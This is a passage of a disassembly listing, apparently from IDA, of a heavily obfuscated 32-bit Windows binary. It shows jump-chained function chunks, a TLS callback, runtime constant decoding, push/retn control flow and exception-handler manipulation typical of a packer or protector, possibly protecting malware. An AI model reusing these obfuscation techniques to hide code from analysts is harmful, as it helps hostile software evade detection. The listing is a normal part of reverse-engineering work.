XREF: sub_424702+2229j jmp loc_42E149 ; END OF FUNCTION CHUNK FOR sub_424702 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42A94B: ; CODE XREF: sub_42D434+Dj jmp loc_42E4B5 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42A950: ; CODE XREF: wto1jq8f:loc_429201j ; sub_42A909+2j call sub_42CB36 jmp loc_42D249 ; END OF FUNCTION CHUNK FOR sub_42A909 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42A95B: ; CODE XREF: sub_426C0C+768Bj jmp loc_42804E ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C990 loc_42A960: ; CODE XREF: sub_42C990-7953j jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_42C990 ; --------------------------------------------------------------------------- pushf xor ebx, ecx jmp sub_425B46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_42A96E: ; CODE XREF: sub_427DA7:loc_42A57Dj mov eax, ecx pop edx pop eax mov ecx, offset sub_42A985 xchg ecx, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_427DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_42A97B: ; CODE XREF: sub_428F61+6937j jmp loc_424617 ; END OF FUNCTION CHUNK FOR sub_428F61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42A980: ; CODE XREF: sub_42970D-1175j jmp loc_42C1E1 ; END OF FUNCTION CHUNK FOR sub_42970D ; =============== S U B R O U T I N E ======================================= sub_42A985 proc near ; DATA XREF: sub_427DA7+2BCBo ; FUNCTION CHUNK AT 0042736E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042FB60 SIZE 00000005 BYTES pop ebx jmp loc_42736E sub_42A985 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42A98B: ; CODE XREF: wto1jq8f:0042BC47j rol edx, 0Fh loc_42A98E: ; CODE XREF: wto1jq8f:loc_429342j call sub_4242D6 mov edx, 1AE260E8h call sub_429165 push eax rol eax, 0Eh loc_42A9A1: ; CODE XREF: wto1jq8f:loc_4289BAj call sub_42618A ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_42A9A6: ; CODE XREF: sub_42DB52-92D6j test edx, 0D8739B24h jmp loc_426485 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A9B1: ; CODE XREF: sub_426535+30D4j cmp edx, 0A072F1D0h jmp loc_42DC1B ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42A9BC: ; CODE XREF: TlsCallback_0+B8Cj sbb ebx, ecx jg loc_426604 jmp loc_42DF88 ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A14D loc_42A9C9: ; CODE XREF: sub_42A14D:loc_424A69j jnz loc_425ED2 jmp loc_425A83 ; END OF FUNCTION CHUNK FOR sub_42A14D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42A9D4: ; CODE XREF: sub_42D4FD:loc_428EC7j mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_42D600 or eax, eax jmp loc_42C6D9 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42A9E7: ; CODE XREF: sub_42BE69:loc_429054j sub eax, 0AFACE392h mov ebx, ecx jmp loc_42DBE7 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- loc_42A9F4: ; DATA XREF: sub_42760F+31BAo mov edx, [ebp-20h] mov [edx], al inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] jmp loc_42ACDF ; =============== S U B R O U T I N E ======================================= sub_42AA04 proc near ; CODE XREF: sub_429E0Cj ; DATA XREF: sub_429DFC+6o ; FUNCTION CHUNK AT 0042CE40 SIZE 0000000E BYTES mov eax, ds:dword_42DB08 or eax, eax jnz loc_42CE55 call sub_424585 jmp loc_42CE40 sub_42AA04 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42AA1C: ; CODE XREF: wto1jq8f:00429449j push 426BAB73h mov esi, offset loc_42AA2A xchg esi, [esp] retn ; --------------------------------------------------------------------------- loc_42AA2A: ; CODE XREF: wto1jq8f:loc_42DE71j ; DATA XREF: wto1jq8f:0042AA21o add esi, 8958E4EEh and esi, 8BC676F0h add esi, 747E781Eh xchg esi, [esp] jmp loc_42665E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42AA44: ; CODE XREF: sub_428333:loc_42A12Bj call sub_42F863 ; END OF FUNCTION CHUNK FOR sub_428333 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42AA49: ; CODE XREF: sub_4244EA+7523j jmp loc_428DA3 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42AA4E: ; CODE XREF: sub_42DEFF-1432j sub eax, 0E738AEB7h add eax, 722D0A55h add eax, ebp add eax, 0E2D4034Bh call sub_426535 locret_42AA67: ; CODE XREF: sub_42D2BB-30E6j retn ; END OF FUNCTION CHUNK FOR sub_42DEFF ; =============== S U B R O U T I N E ======================================= sub_42AA68 proc near ; CODE XREF: sub_425944+8C22p ; FUNCTION CHUNK AT 004241CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004270DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427FD3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428620 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428B79 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A479 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042A5F6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042AE7C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0042BCF7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042BE9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D186 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042DCAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E483 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042EBCA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042F7E3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042FCC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FE17 SIZE 0000000B BYTES call sub_42CF50 call sub_42E076 loc_42AA72: ; CODE XREF: sub_42C049+Fj jmp loc_42EBCA sub_42AA68 endp ; --------------------------------------------------------------------------- shr edi, 0Eh jmp loc_426368 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F8F loc_42AA7F: ; CODE XREF: sub_427F8F+Ej inc dword ptr [ebp-8] ; END OF FUNCTION CHUNK FOR sub_427F8F ; START OF FUNCTION CHUNK FOR sub_429471 loc_42AA82: ; CODE XREF: sub_429471-4B08j ; sub_429471-4AFFj mov eax, [ebp-8] pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_42AA89: ; CODE XREF: sub_42A197-3834j jmp loc_4288CD ; END OF FUNCTION CHUNK FOR sub_42A197 ; =============== S U B R O U T I N E ======================================= sub_42AA8E proc near ; DATA XREF: sub_42E337:loc_42F89Do ; FUNCTION CHUNK AT 00424B56 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427873 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004299BE SIZE 0000001F BYTES mov eax, [eax] call sub_42D765 mov esp, ebp pop ebp push edx push 7D916B91h pop edx jmp loc_424B56 sub_42AA8E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E77 loc_42AAA4: ; CODE XREF: sub_429E77:loc_424522j jb loc_4250B5 mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] jmp loc_4250AC ; END OF FUNCTION CHUNK FOR sub_429E77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429459 loc_42AAB8: ; CODE XREF: sub_429459+13j cmp eax, 68A0BA1Ah jmp loc_42D516 ; END OF FUNCTION CHUNK FOR sub_429459 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AAC3 proc near ; DATA XREF: sub_42FA6E+1o ; FUNCTION CHUNK AT 00425DD4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00426447 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004289DC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004294A0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AC4A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E071 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC23 SIZE 00000011 BYTES mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_425DD4 sub_42AAC3 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42AACF: ; CODE XREF: sub_42F25F-6C45j jmp loc_42729D ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250D4 loc_42AAD4: ; CODE XREF: sub_4250D4+21j jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_4250D4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: wto1jq8f:0042917Ej xor ebx, 8D2B5438h add ebx, ebp add ebx, 0F601F456h mov [ebx], eax mov ebx, offset loc_42C912 xchg ebx, [esp] jmp locret_42C911 ; =============== S U B R O U T I N E ======================================= sub_42AAF6 proc near ; CODE XREF: sub_42506F+877Ep ; wto1jq8f:0042FDC7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042B1DD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042DD9B SIZE 0000000E BYTES mov [esp+0], edx pop edx xchg eax, ebp push 4 push ebx push 49ED94EFh jmp loc_42B1DD sub_42AAF6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42AB09: ; CODE XREF: sub_426968:loc_42958Dj call sub_424BAC loc_42AB0E: ; CODE XREF: sub_426968+83C5j jmp loc_42779D ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_42AB13: ; CODE XREF: sub_4272F3+251Ej jmp loc_42F5F1 ; END OF FUNCTION CHUNK FOR sub_4272F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42AB18: ; CODE XREF: sub_4266B1:loc_42E1CDj push offset loc_429713 jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- loc_42AB22: ; CODE XREF: wto1jq8f:0042E1B5j js locret_42EAAA cmp ecx, esi jmp loc_426645 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42AB2F: ; CODE XREF: sub_42A909:loc_42FA84j jnz loc_424D27 jmp loc_4247F2 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42AB3A: ; CODE XREF: sub_42C486:loc_427D7Dj jnz loc_4279F3 jmp loc_429EE5 ; END OF FUNCTION CHUNK FOR sub_42C486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424DA0 loc_42AB46: ; CODE XREF: sub_424DA0+A425j push ecx push 6E3A6C2h pop ecx add ecx, 0F95F2DA4h xchg ecx, [esp+0] jmp loc_42C8C6 ; END OF FUNCTION CHUNK FOR sub_424DA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242D6 loc_42AB5B: ; CODE XREF: sub_4242D6:loc_42CBC1j xchg ebp, esi loc_42AB5D: ; CODE XREF: wto1jq8f:00424A0Fj push offset sub_42B2C4 jmp loc_42F9C3 ; END OF FUNCTION CHUNK FOR sub_4242D6 ; --------------------------------------------------------------------------- loc_42AB67: ; CODE XREF: wto1jq8f:loc_426383j jnz loc_42F3E1 jmp loc_4280AD ; --------------------------------------------------------------------------- loc_42AB72: ; DATA XREF: wto1jq8f:00428F07o mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] jmp loc_42991A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42AB85: ; CODE XREF: sub_429165:loc_42DBD7j xor eax, eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jmp loc_42F17B ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- loc_42AB93: ; CODE XREF: wto1jq8f:004283A9j and ebx, edi pop edi push offset loc_427447 jmp loc_4269E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42ABA0: ; CODE XREF: sub_4266B1:loc_42709Bj ; sub_42628C:loc_42CCCEj lea eax, [ebp-14h] xor edx, edx push edi push 297B1376h pop edi jmp loc_424533 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A5C4 loc_42ABB1: ; CODE XREF: sub_42A5C4:loc_42BB08j mov eax, edi pop edi call sub_42B178 loc_42ABB9: ; CODE XREF: sub_42A909+F74j jmp sub_42CB36 ; END OF FUNCTION CHUNK FOR sub_42A5C4 ; --------------------------------------------------------------------------- test ecx, ebp loc_42ABC0: ; CODE XREF: wto1jq8f:00427BC4j jmp loc_42DB4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42ABC5: ; CODE XREF: sub_42970D+1j mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42F9D7 ; END OF FUNCTION CHUNK FOR sub_42970D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42ABD0: ; CODE XREF: sub_42B353-228Fj ; sub_427A8D+824Bj push 0C98D1A1Ah pop eax sub eax, 0D5AF30F7h rol eax, 16h test eax, 40000000h jmp loc_428148 ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- cmp ebx, ecx jmp loc_42C215 ; --------------------------------------------------------------------------- loc_42ABF1: ; DATA XREF: sub_428501+4A20o push 99880B40h pop esi xor esi, 67598E68h popf sbb eax, esi pop esi and eax, edx ; START OF FUNCTION CHUNK FOR sub_42F5E5 loc_42AC03: ; CODE XREF: sub_42F5E5-8873j adc eax, edx jmp loc_42CD9B ; END OF FUNCTION CHUNK FOR sub_42F5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42AC0A: ; CODE XREF: sub_42F2C7:loc_42CCD9j shr edx, 3 mov ecx, ds:dword_429558 jnb loc_425FAE or [ecx+edx], al mov eax, [ebp-0Ch] jmp loc_429244 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; =============== S U B R O U T I N E ======================================= sub_42AC24 proc near ; CODE XREF: wto1jq8f:004283FDj ; sub_42E42A+6p xchg ebx, [esp+0] pop ebx mov eax, [ebp+8] or dword ptr [eax-8], 8 sub_42AC24 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426968 loc_42AC2F: ; CODE XREF: sub_426750+3j ; sub_424BD4+1B88j ... jo loc_424BC5 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4275E2 jmp loc_42958D ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAC3 loc_42AC4A: ; CODE XREF: sub_42AAC3-4CD9j jz loc_42EC2F jmp loc_42E071 ; END OF FUNCTION CHUNK FOR sub_42AAC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D69D loc_42AC55: ; CODE XREF: sub_42D69D:loc_42FBA1j add esi, 58B3251Dh mov [esi], eax call sub_4299EB loc_42AC62: ; CODE XREF: wto1jq8f:0042F01Aj jmp loc_42C251 ; END OF FUNCTION CHUNK FOR sub_42D69D ; --------------------------------------------------------------------------- loc_42AC67: ; CODE XREF: wto1jq8f:00426215j jmp loc_42DB66 ; --------------------------------------------------------------------------- locret_42AC6C: ; CODE XREF: wto1jq8f:loc_4271CDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42AC6D: ; CODE XREF: sub_42E9E8:loc_42C3B2j jz loc_4277D2 jmp loc_42D531 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42AC78: ; CODE XREF: sub_427143:loc_4292FEj push offset sub_425962 jmp loc_42D7CE ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_42AC82: ; CODE XREF: wto1jq8f:0042BFA0j mov ecx, [ecx] movzx edx, byte ptr [ecx+edx] and eax, edx jnz loc_4245A9 jmp loc_426442 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42AC95: ; CODE XREF: sub_42D9D9-5264j adc ebx, 6D33DDF2h jno loc_42C652 loc_42ACA1: ; CODE XREF: sub_42D9D9:loc_42C9C9j call nullsub_32 retn ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42ACA7: ; CODE XREF: sub_426535+8DCAj jmp loc_42EE43 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42ACAC: ; CODE XREF: sub_42A909-1A31j call sub_427F4E test al, al jz loc_429F2C jmp loc_42FA84 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- jg loc_425F52 jmp sub_429281 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42ACCA: ; CODE XREF: sub_4284EC-24E5j jmp loc_424E7B ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FACF loc_42ACCF: ; CODE XREF: sub_42FACF-636Cj pop edx retn ; END OF FUNCTION CHUNK FOR sub_42FACF ; --------------------------------------------------------------------------- loc_42ACD1: ; CODE XREF: wto1jq8f:00429748j jmp loc_42BF88 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ACD6 proc near ; CODE XREF: sub_42F03D:loc_42F043j var_20 = dword ptr -20h var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 0042C40F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042CA1E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E5F5 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx call sub_42C6F9 loc_42ACDF: ; CODE XREF: wto1jq8f:0042A9FFj jmp loc_42C40F sub_42ACD6 endp ; --------------------------------------------------------------------------- dword_42ACE4 dd 0 ; wto1jq8f:00429882r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42ACE8: ; CODE XREF: sub_4244EA+1AFj jmp sub_42A56D ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- push edi jmp short loc_42AD69 ; --------------------------------------------------------------------------- dword_42ACF0 dd 0 ; sub_429D2E+2892r ; --------------------------------------------------------------------------- loc_42ACF4: ; CODE XREF: wto1jq8f:00427323j jmp locret_42F852 ; --------------------------------------------------------------------------- db 4Bh, 7, 37h dword_42ACFC dd 0 ; sub_42EFB5-2C2Br ; --------------------------------------------------------------------------- pop ss mov eax, 31E95CC5h les ebp, [eax+ecx*2+1572D3h] ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42AD0D: ; CODE XREF: sub_426C0C:loc_42F8AFj jmp nullsub_180 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- loc_42AD12: ; CODE XREF: wto1jq8f:0042EFDAj jmp nullsub_116 ; --------------------------------------------------------------------------- db 43h dword_42AD18 dd 5CC5B817h, 54444AC8h, 0BA00D0A6h, 5CC5B817h, 54444AC8h ; DATA XREF: sub_428F61+3o dd 18D0A6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42AD30: ; CODE XREF: sub_42D9B0+13j jmp loc_42961F ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- db 13h, 1Ch, 0A8h dd 5CC5B817h, 4A5485A8h, 4851D48Ah, 4544A4h, 0E903C6C1h dd 522Dh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B840 loc_42AD51: ; CODE XREF: sub_42B840+10j jmp loc_42F5A8 ; END OF FUNCTION CHUNK FOR sub_42B840 ; --------------------------------------------------------------------------- cmp ebx, eax jmp loc_42C71D ; --------------------------------------------------------------------------- test ebp, 0A46E576Ch jmp loc_42C710 ; --------------------------------------------------------------------------- locret_42AD68: ; CODE XREF: wto1jq8f:loc_4269E0j retn ; --------------------------------------------------------------------------- loc_42AD69: ; CODE XREF: wto1jq8f:00424A15j ; wto1jq8f:0042ACEEj jno loc_426CF7 sub ebx, 0D0CDC9D4h xchg esi, [ebx] ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42AD77: ; CODE XREF: sub_42C486-7A8Cj xor edx, 0B4646693h add edx, ebp add edx, 34446676h call sub_42C0F6 ; END OF FUNCTION CHUNK FOR sub_42C486 ; START OF FUNCTION CHUNK FOR sub_426950 loc_42AD8A: ; CODE XREF: sub_426950:loc_42A5F1j jz sub_427D8D jmp loc_4281A6 ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42AD95: ; CODE XREF: sub_42C486-3C7Dj jnb loc_42DA95 adc edi, 0A683BBE6h or edi, 22C3BD08h loc_42ADA7: ; CODE XREF: sub_42C486:loc_42A2C6j pop large dword ptr fs:0 add esp, 4 mov eax, 51h push ecx jmp loc_42D417 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D789 loc_42ADBC: ; CODE XREF: sub_42FE77:loc_426328j ; sub_42D789-7366j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42D789 ; --------------------------------------------------------------------------- loc_42ADBE: ; CODE XREF: wto1jq8f:004243CCj ; wto1jq8f:loc_42E273j mov byte ptr [ebp-5], 0 jmp loc_42D78E ; =============== S U B R O U T I N E ======================================= sub_42ADC7 proc near ; CODE XREF: wto1jq8f:loc_42446Ep ; DATA XREF: TlsCallback_0+21C9o ... ; FUNCTION CHUNK AT 00428B21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DB15 SIZE 00000005 BYTES mov eax, 131h call sub_428183 jmp loc_42DB15 sub_42ADC7 endp ; --------------------------------------------------------------------------- mov ds:dword_42F1D4, eax ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42ADDB: ; CODE XREF: sub_429B76:loc_42D284j xor eax, eax mov ds:dword_42F1E0, eax push 0 push 8FDA3C0Fh pop eax or eax, 7FC32C0Fh jmp loc_424C63 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42ADF5: ; CODE XREF: sub_42C486-81DBj mov large fs:0, esp mov eax, large fs:20h or eax, eax jz loc_42E7BB jmp loc_42F7C8 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_42AE10: ; CODE XREF: sub_4262CE+6739j js loc_426CB3 jg loc_42BA30 jmp loc_429363 ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- loc_42AE21: ; DATA XREF: sub_42F119-68A5o call sub_42ED32 test eax, eax setnz byte ptr [ebp-1] ; START OF FUNCTION CHUNK FOR sub_42655A loc_42AE2C: ; CODE XREF: sub_42655A+Aj ; sub_42F119-68ABj ... mov al, [ebp-1] pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42655A ; --------------------------------------------------------------------------- loc_42AE32: ; CODE XREF: wto1jq8f:0042840Fj mov esp, ebp jmp loc_4292FE ; --------------------------------------------------------------------------- loc_42AE39: ; CODE XREF: wto1jq8f:loc_429BB0j jnz loc_4279D2 jmp loc_428643 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42AE44: ; CODE XREF: sub_425F4F+3FC6j ; sub_425F4F:loc_42E744j call sub_427A8D call sub_42CBD1 loc_42AE4E: ; CODE XREF: wto1jq8f:00427B5Cj jmp loc_42E2D4 ; END OF FUNCTION CHUNK FOR sub_425F4F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42AE54: ; CODE XREF: sub_42E337-2867j jmp loc_42F89D ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C61B loc_42AE59: ; CODE XREF: sub_42C61B-49FAj jmp sub_4242D6 ; END OF FUNCTION CHUNK FOR sub_42C61B ; =============== S U B R O U T I N E ======================================= sub_42AE5E proc near ; DATA XREF: wto1jq8f:0042EE86o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042D2DD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042EFF7 SIZE 00000005 BYTES pop ebp xor eax, eax mov [ebp-4], eax mov eax, [ebp-4] xchg esi, [esp-4+arg_0] mov ecx, esi jmp loc_42EFF7 sub_42AE5E endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor esi, 7FA3B696h jmp sub_42A3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42AE7C: ; CODE XREF: sub_42AA68-3986j ror ecx, 10h loc_42AE7F: ; CODE XREF: sub_42AA68:loc_4241CDj push 23BD8B9h pop eax add eax, 0B7B91085h sub eax, 0AE2F41FDh xor eax, 0E1E4DD0Bh add eax, ebp add eax, 15DE85AAh jmp loc_42E483 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; =============== S U B R O U T I N E ======================================= sub_42AEA4 proc near ; CODE XREF: sub_4267AE+48E3p ; FUNCTION CHUNK AT 00429B20 SIZE 00000008 BYTES xchg edi, [esp+0] mov edi, [esp+0] push 3687FDD9h pop edi rol edi, 4 add edi, 97C2C23Dh jmp loc_429B20 sub_42AEA4 endp ; --------------------------------------------------------------------------- loc_42AEBE: ; CODE XREF: wto1jq8f:0042A274j adc edx, 5CD418AFh jmp loc_42ECF6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42AECA: ; CODE XREF: sub_426D4F+8F1Ej push edx xchg eax, edx retn ; END OF FUNCTION CHUNK FOR sub_426D4F ; =============== S U B R O U T I N E ======================================= sub_42AECE proc near ; CODE XREF: sub_42A54A+15j ; wto1jq8f:0042C84Cj ... var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424417 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004263A6 SIZE 00000001 BYTES ; FUNCTION CHUNK AT 0042673A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427123 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428D0B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042A459 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042CC86 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D1E6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042D4B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DFD0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E66D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042FACA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FF90 SIZE 00000005 BYTES jb loc_42E66D push ebp mov ebp, esp push ecx jmp loc_42D4B5 sub_42AECE endp ; 